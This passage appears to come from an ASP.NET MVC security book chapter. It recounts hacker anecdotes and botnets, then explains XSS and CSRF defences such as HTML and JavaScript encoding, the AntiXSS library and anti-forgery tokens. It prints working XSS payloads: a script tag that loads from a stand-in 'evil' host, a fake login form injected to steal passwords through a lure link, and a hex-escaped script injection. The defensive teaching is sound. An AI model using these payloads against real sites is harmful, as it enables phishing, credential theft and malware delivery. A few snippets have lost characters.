DEFCON is the world's largest hacker convention (yes, they have such things) and is held annually in Las Vegas. The audience is mainly computer security types (consultants, journalists, etc.), law enforcement (FBI, CIA, etc., who do not need to identify themselves), and coders who consider themselves to be on the fringe of computing.

A lot of business is done at the convention, as you can imagine, but there are also the obligatory feats of technical strength for the press to write about. One of these is called Capture the Flag, which is also a popular video game format, coincidently. The goal of Capture the Flag (or CTF) is for hacker teams to successfully compromise a set of specially configured servers. These aren't your typical servers — they are set up specifically to defend against such attacks and are configured specially for CTF by a world-renowned security specialist.

The servers (usually 12 or so) are set up with specific vulnerabilities:

The teams are unaware of what each server is equipped with when the competition begins.

The scoring is simple: One point is awarded for penetrating the security of a server. Penetrate them all, and you win. If a team doesn't win, the contest is called at the end of 48 hours, and the team with the most points takes the crown. Variations on the game include penetrating a server and then resetting its defenses in order to secure it against other teams. The team who holds the most servers at the end of the competition wins.

The teams that win the game state that discipline and patience are what ultimately make the difference. Hacking the specially configured servers is not easy and usually involves coordinating attacks along multiple fronts, such as coaxing the web server to give up sensitive information, which can then be used in other systems on the server. The game is focused on knowing what to look for in each system, but the rules are wide open and cheating is quite often encouraged, which usually takes the form of a more personal style of intrusion — social engineering.

At one DEFCON CTF, the reigning champion Ghettohackers were once again on their way to winning in a variation of the CTF format called Root fu. In this format, you root your competition by placing a file called flag.txt in their flag room — usually their C drive or on a server somewhere in the game facility. You can gain points by rooting the main server (and winning) or by rooting your competition.

During this competition, one of the Ghettohackers team members smuggled in an orange hardhat with a reflective vest, and put it on with an electrician's utility belt. He then stood outside the server room (where the event was held) and waited for hotel staff to walk by. When a staff person eventually came by, the hacker impatiently asked if they were there to let him in and said that he was on a schedule and needed to get to a call upstairs.

Eventually he was let in by the hotel staff, and, looking at the diagram on the wall, he quickly figured out which machine was the main box — the server holding the main flag room. He pulled out his laptop and plugged it into the machine, quickly hacking his way onto the machine to win the game.

It doesn't take much to deceive people who like to help others — you just need to be evil — and give them a reason to trust you — and you're in.

Kevin Mitnick is widely regarded as the most prolific and dangerous hacker in U.S. history. Through various ruses, hacks, and scams he found his way into the networks of top communication companies as well as Department of Defense computer systems. He managed to steal a lot of very expensive code by using simple social engineering tricks, such as posing as a company employee or flat out asking employees for his lost password over the phone.

His plan was simple — take advantage of two basic laws about people:

In an interview with CNET, Kevin stated it rather bluntly:

Social engineering does not necessarily mean that someone is going to come up to you with a fake moustache and an odd-looking uniform, asking for access to your server. It could come in the form of a fake request from your ISP, asking you to log in to your server's Web control panel to change a password. It may also be someone who befriends you online — perhaps wanting to help with a side project you're working on. The key to a good hack is patience, and often it takes only weeks to feel like you know someone. Eventually, they may come to know a lot about you and, more hazardously, about your clients and their sensitive information.

In September 2007, the FBI declared that the Storm botnet was both sophisticated and powerful enough to force entire countries offline. Some have argued, however, that trying to compute the raw power of these botnets is missing the point, and some have suggested the comparison is like comparing "an army of snipers to the power of a nuclear bomb."

The Storm network has propagated, once again largely due to social engineering and provocative e-mailing, which entices users to click on a link that navigates them to an infected website (which could be yours!). To stay hidden, the servers that deliver the virus re-encode the binary file so that a signature changes, which defeats the antivirus and malware programs running on most machines. These servers are also able to avoid detection, as they can rapidly change their DNS entries — sometimes minutes apart, making these servers almost untraceable.

Srizbi is pure evil, and you've likely visited a website that has tried to load it onto your computer. It is propagated using MPack, a commercially available malware kit written in PHP. That's right, you can purchase software with the sole purpose of spreading viruses. In addition to that, you can ask the developers of MPack to help you make your code undetectable by various antivirus and malware services.

MPack is implemented using an IFRAME, which embeds itself on a page (out of sight) and calls back to a main server, which loads scripts into the user's browser. These scripts detect which type of browser the user is running and what vulnerabilities the scripts can exploit. It's up to the malware creator to read this information and plant his or her evil on your computer.

Because MPack works in an IFRAME, it is particularly effective against sites that don't defend very well against XSS. An attacker can plant the required XSS code on an innocent website (like yours!) and, thus, create a propagation point, which then infects thousands of other users.

Srizbi runs in kernel mode (capable of running with complete freedom at the core operating system level, usually unchecked and unhindered) and will actually take command of the operating system, effectively pulling a Jedi mind trick by telling the machine that it's not really there. One of these tricks is to actually alter the New Technology File System (NTFS) filesystem drivers, making itself completely unrecognizable as a file and rendering itself invisible. In addition to this, Srizbi is also able to manipulate the infected system's TCP/IP instructions, attaching directly to the drivers and manipulating them so that firewalls and network sniffers will not see it. Very evil.

The hallmark of Srizbi is its silence and stealth. All of the estimates for infection that we've suggested here are just that — estimates. No one knows the real number of infected machines.

As of this writing, the Conficker botnet is considered to be the largest in the world, affecting as many as 6 million computers worldwide. Although Microsoft issued patches in October 2008 to protect against Conficker infection, computers with weak passwords or unsecured shares are still vulnerable. Conficker is thought to be the largest computer worm infection since the 2003 SQL Slammer, affecting millions of home, business, and government computer systems.

Conficker doesn't break any new ground technically but is notable due to its combined use of many different existing malware strategies. The worm exploits dictionary attacks on weak passwords, known weaknesses on weak ADMIN$ shares, and can spread via removable drives as well as over networks.

XSS is carried out by injecting script code into a site that accepts user input. An example of this is a blog, which allows you to leave a comment to a post, as shown in Figure 9-1.

Figure 9.1. FIGURE 9-1

This has four text inputs: name, e-mail, comment, and URL if you have a blog of your own. Forms like this make XSS hackers salivate for two reasons — first, they know that the input submitted in the form will be displayed on the site, and second, they know that encoding URLs can be tricky, and developers usually will forgo checking these properly since they will be made part of an anchor tag anyway.

One thing to always remember (if we haven't overstated it already) is that the Black Hats out there are a lot craftier than you are. We won't say they're smarter, but you might as well think of them this way — it's a good defense.

The first thing an attacker will do is see if the site will encode certain characters upon input. It's a safe bet that the comment field is protected and probably so is the name field, but the URL field smells ripe for injection. To test this, you can enter an innocent query, like the one in Figure 9-2.

Figure 9.2. FIGURE 9-2

It's not a direct attack, but you've placed a "less than" sign into the URL; what you want to see is if it gets encoded to <, which is the HTML replacement character for "<". If you post the comment and look at the result, all looks fine (see Figure 9-3).

Figure 9.3. FIGURE 9-3

There's nothing here that suggests anything is amiss. But we've already been tipped off that injection is possible — there is no validation in place to tell you that the URL you've entered is invalid! If you view the source of the page, your XSS Ninja Hacker reflexes get a rush of adrenaline because right there, plain as day, is very low-hanging fruit:

<a href="No blog! Sorry :<">Rob Conery</a>

This may not seem immediately obvious, but take a second and put your Black Hat on, and see what kind of destruction you can cause. See what happens when you enter this:

"><iframe src="http://haha.juvenilelamepranks.example.com" height="400" width=500/>

This entry closes off the anchor tag that is not protected and then forces the site to load an IFRAME, as shown in Figure 9-4.

Figure 9.4. FIGURE 9-4

This would be pretty silly if you were out to hack a site because it would tip off the site's administrator and a fix would quickly be issued. No, if you were being a truly devious Black Hat Ninja Hacker, you would probably do something like this:

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

This line of input would close off the anchor tag, inject a script tag, and then open another anchor tag so as not to break the flow of the page. No one's the wiser (see Figure 9-5).

Figure 9.5. FIGURE 9-5

Even when you hover over the name in the post, you won't see the injected script tag — it's an empty anchor tag!

Active XSS injection involves a user sending in malicious information that is immediately shown on the page and is not stored in the database. The reason it's called Active is that it involves the user's participation directly in the attack — it doesn't sit and wait for a hapless user to stumble upon it.

You might be wondering how this kind of thing would represent an attack. It seems silly, after all, for users to pop up JavaScript alerts to themselves or to redirect themselves off to a porn site using your site as a graffiti wall — but there are definitely reasons for doing so.

Consider the search this site mechanism, found on just about every site out there. Most site searches will return a message saying something to the effect of "Your search for 'XSS Attack!' returned X results:"; Figure 9-6 shows one from Rob's blog.

Figure 9.6. FIGURE 9-6

Most of the time this message is not HTML-encoded. The general feeling here is that if users want to play XSS with themselves, let them. The problem comes in when you enter the following text into a site that is not protected against Active Injection (using a Search box, for example):

"<br><br>Please login with the form below before proceeding:
<form action="mybadsite.aspx"><table><tr><td>Login:</td><td>
<input type=text length=20 name=login></td></tr>
<tr><td>Password:</td><td><input type=text length=20 name=password>
</td></tr></table><input type=submit value=LOGIN></form>"
Code snippet 9-1.txt

This little bit of code (which can be extensively modified to mess with the search page) will actually output a login form on your search page that submits to an offsite URL. There is a site that is built to show this vulnerability (from the people at Acunetix, which built this site intentionally to show how Active Injection can work), and if you load the above term into their search form, this will render Figure 9-7.

Figure 9.7. FIGURE 9-7

You could have spent a little more time with the site's CSS and format to get this just right, but even this basic little hack is amazingly deceptive. If a user were to actually fall for this, they would be handing the attacker their login information!

The basis of this attack is our old friend, social engineering:

The link would be this:

<a href="http://testasp.acunetix.com/Search.asp?tfSearch= <br><br>Please login
with the form below before proceeding:<form action="mybadsite.aspx"><table>
<tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr>
<td>Password:</td><td><input type=text length=20 name=password></td></tr>
</table><input type=submit value=LOGIN></form>">look at this cool site with
naked pictures</a>
Code snippet 9-2.txt

There are plenty of people falling for this kind of thing every day, believe it or not.

XSS can be avoided most of the time by using simple HTML-encoding — the process by which the server replaces HTML reserved characters (like "<" and ">") with codes. You can do this with ASP.NET MVC in the View simply by using Html.Encode or Html.AttributeEncode for attribute values.

If you get only one thing from this chapter, please let it be this: every bit of output on your pages should be HTML-encoded or HTML-attribute-encoded. We said this at the top of the chapter, but we'd like to say it again: Html.Encode is your best friend.

<% Html.Encode(Model.FirstName) %>

<%: Model.FirstName) %>.

It's worth mentioning at this point that ASP.NET Web Forms guides you into a system of using server controls and postback, which, for the most part, tries to prevent XSS attacks. Not all server controls protect against XSS (Labels and Literals, e.g.), but the overall Web Forms package tends to push people in a safe direction.

ASP.NET MVC offers you more freedom — but it also allows you some protections out-of-the-box. Using the HtmlHelpers, for example, will encode your HTML as well as encode the attribute values for each tag. In addition, you're still working within the Page model, so every request is validated unless you turn this off manually.

But you don't need to use any of these things to use ASP.NET MVC. You can use an alternate ViewEngine and decide to write HTML by hand — this is up to you, and that's the point. This decision, however, needs to be understood in terms of what you're giving up, which are some automatic security features.

Most of the time it's the HTML output on the page that gets all the attention; however, it's important to also protect any attributes that are dynamically set in your HTML. In the original example shown previously, we showed you how the author's URL can be spoofed by injecting some malicious code into it. This was accomplished because the sample outputs the anchor tag like this:

<a href="<%=Url.Action(AuthorUrl)%>"><%=AuthorUrl%></a>

To properly sanitize this link, you need to be sure to encode the URL that you're expecting. This replaces reserved characters in the URL with other characters (" " with %20, e.g.).

You might also have a situation in which you're passing a value through the URL based on what the user input somewhere on your site:

<a href="<%=Url.Action("index","home",new {name=ViewData["name"]})%>">Click here</a>
Code snippet 9-3.txt

If the user is evil, she could change this name to:

"></a><script src="http://srizbitrojan.evil.example.com"></script> <a href="

and then pass that link on to unsuspecting users. You can avoid this by using encoding with Url.Encode or Html.AttributeEncode:

<a href="<%=Url.Action("index","home",new
{name=Html.AttributeEncode(ViewData["name"])})%>">Click here</a>

or

<a href="<%=Url.Encode(Url.Action("index","home",
new {name=ViewData["name"]}))%>">Click here</a>

Bottom line: Never, ever trust any data that your user can somehow touch or use. This includes any form values, URLs, cookies, or personal information received from third-party sources such as Open ID. Remember that your database or services your site accesses could have been compromised, too. Anything input to your application is suspect, so you need to encode everything you possibly can.

Just HTML-encoding everything isn't necessarily enough, though. Let's take a look at a simple exploit that takes advantage of the fact that HTML-encoding doesn't prevent JavaScript from executing.

We'll use a simple controller action that takes a username as a parameter and adds it to ViewData to display in a greeting.

public ActionResult Index(string UserName)
{
    ViewData["UserName"] = UserName;
    return View();
}
Code snippet 9-4.txt

We want this message to look neat, though, so we'll animate it in with some jQuery:

<h2 id="welcome-message"></h2>

<script type="text/javascript">
    $(function () {
        var message = 'Welcome, <%: ViewData["UserName"] %>!';
        $("#welcome-message").html(message).show();
    });
</script>
Code snippet 9-5.txt

This looks great, and since we're HTML-encoding the ViewData, we're perfectly safe, right? No. No, we are not. The following URL will slip right through (see Figure 9-8):

http://localhost:35976/?UserName=Jonx3cscriptx3e%20alert(x27pwndx27)%20x3c/scriptx3e

Figure 9.8. FIGURE 9-8

What happened? Well, remember that we were HTML-encoding, not JavaScript-encoding. We were allowing user input to be inserted into a JavaScript string that was then added to the Document Object Model (DOM). That means that the hacker could take advantage of hex escape codes to put in any JavaScript code he or she wanted. And as always, remember that real hackers won't show a JavaScript alert — they'll do something evil, like silently steal user information or redirect them to another web page.

There are two solutions to this problem. The narrow solution is to use the Ajax.JavaScriptStringEncode function to encode strings that are used in JavaScript, exactly as we'd use Html.Encode for HTML strings.

A more thorough solution is to use the AntiXSS library.

First, you're going to need to download the AntiXSS library from http://antixss.codeplex.com/. On my machine, that dropped the AntiXSSLibrary.dll file at the following location: C:Program Files (x86)Microsoft Information SecurityMicrosoft Anti-Cross Site Scripting Library v3.1Library.

Copy the assembly into the project directory somewhere where you'll be able to find it. I typically have a lib folder or a Dependencies folder for this purpose (see Figure 9-9). Right-click the References node of the project to add a reference to the assembly (see Figure 9-10).

Figure 9.9. FIGURE 9-9

Figure 9.10. FIGURE 9-10

The next step is to write a class that derives from HttpEncoder. Note that in the following listing, some methods were excluded that are included in the project:

using System;
using System.IO;
using System.Web.Util;
using Microsoft.Security.Application;

/// <summary>
/// Summary description for AntiXss
/// </summary>

public class AntiXssEncoder : HttpEncoder
{
  public AntiXssEncoder() { }

  protected override void HtmlEncode(string value, TextWriter output)
  {
    output.Write(AntiXss.HtmlEncode(value));
  }

  protected override void HtmlAttributeEncode(string value, TextWriter output)
  {
    output.Write(AntiXss.HtmlAttributeEncode(value));
  }

  protected override void HtmlDecode(string value, TextWriter output)
  {
      base.HtmlDecode(value, output);
  }

  // Some code omitted but included in the sample
}
Code snippet 9-6.txt

Finally, register the type in web.config:

...
  <system.web>
    <httpRuntime encoderType="AntiXssEncoder, AssemblyName"/>
...
Code snippet 9-7.txt

With that in place, any time you call Html.Encode or use an <%: %> HTML Encoding Code Block, the text will be encoded by the AntiXSS library, which takes care of both HTML and JavaScript encoding.

ASP.NET MVC includes a nice way of preventing CSRF attacks, and it works on the principle of verifying that the user who submitted the data to your site did so willingly. The simplest way to do this is to embed a hidden input into each form request that contains a unique value. You can do this with the HTML Helpers by including this in every form:

<form action="/account/register" method="post">
<%=Html.AntiForgeryToken()%>
...
</form>
Code snippet 9-11.txt

Html.AntiForgeryToken will output an encrypted value as a hidden input:

<input type="hidden" value="012837udny31w90hjhf7u">
Code snippet 9-12.txt

This value will match another value that is stored as a session cookie in the user's browser. When the form is posted, these values will be matched using an ActionFilter:

[ValidateAntiforgeryToken]
public ActionResult Register(...)
Code snippet 9-13.txt

This will handle most CSRF attacks — but not all of them. In the last example above, you saw how users can be registered automatically to your site. The anti-forgery token approach will take out most CSRF-based attacks on your Register method, but it won't stop the bots out there that seek to auto-register (and then spam) users to your site. We'll talk about ways to limit this kind of thing later in the chapter.

Big word, for sure — but it's a simple concept. If an operation is idempotent, it can be executed multiple times without changing the result. In general, a good rule of thumb is that you can prevent a whole class of CSRF attacks by only changing things in your DB or on your site by using POST. This means Registration, Logout, Login, and so forth. At the very least, this limits the confused deputy attacks somewhat.

This can be handled using an ActionFilter (see Chapter 8), wherein you check to see if the client that posted the form values was indeed your site:

public class IsPostedFromThisSiteAttribute : AuthorizeAttribute
{
    public override void OnAuthorize(AuthorizationContext filterContext)
    {
        if (filterContext.HttpContext != null)
        {
            if (filterContext.HttpContext.Request.UrlReferrer == null)
                throw new System.Web.HttpException("Invalid submission");

            if (filterContext.HttpContext.Request.UrlReferrer.Host !=
                "mysite.com")
                    throw new System.Web.HttpException
                        ("This form wasn't submitted from this site!");
        }
    }
}
Code snippet 9-14.txt

You can then use this filter on the Register method, like so:

[IsPostedFromThisSite]
public ActionResult Register(...)

As you can see there are different ways of handling this — which is the point of MVC. It's up to you to know what the alternatives are and to pick one that works for you and your site.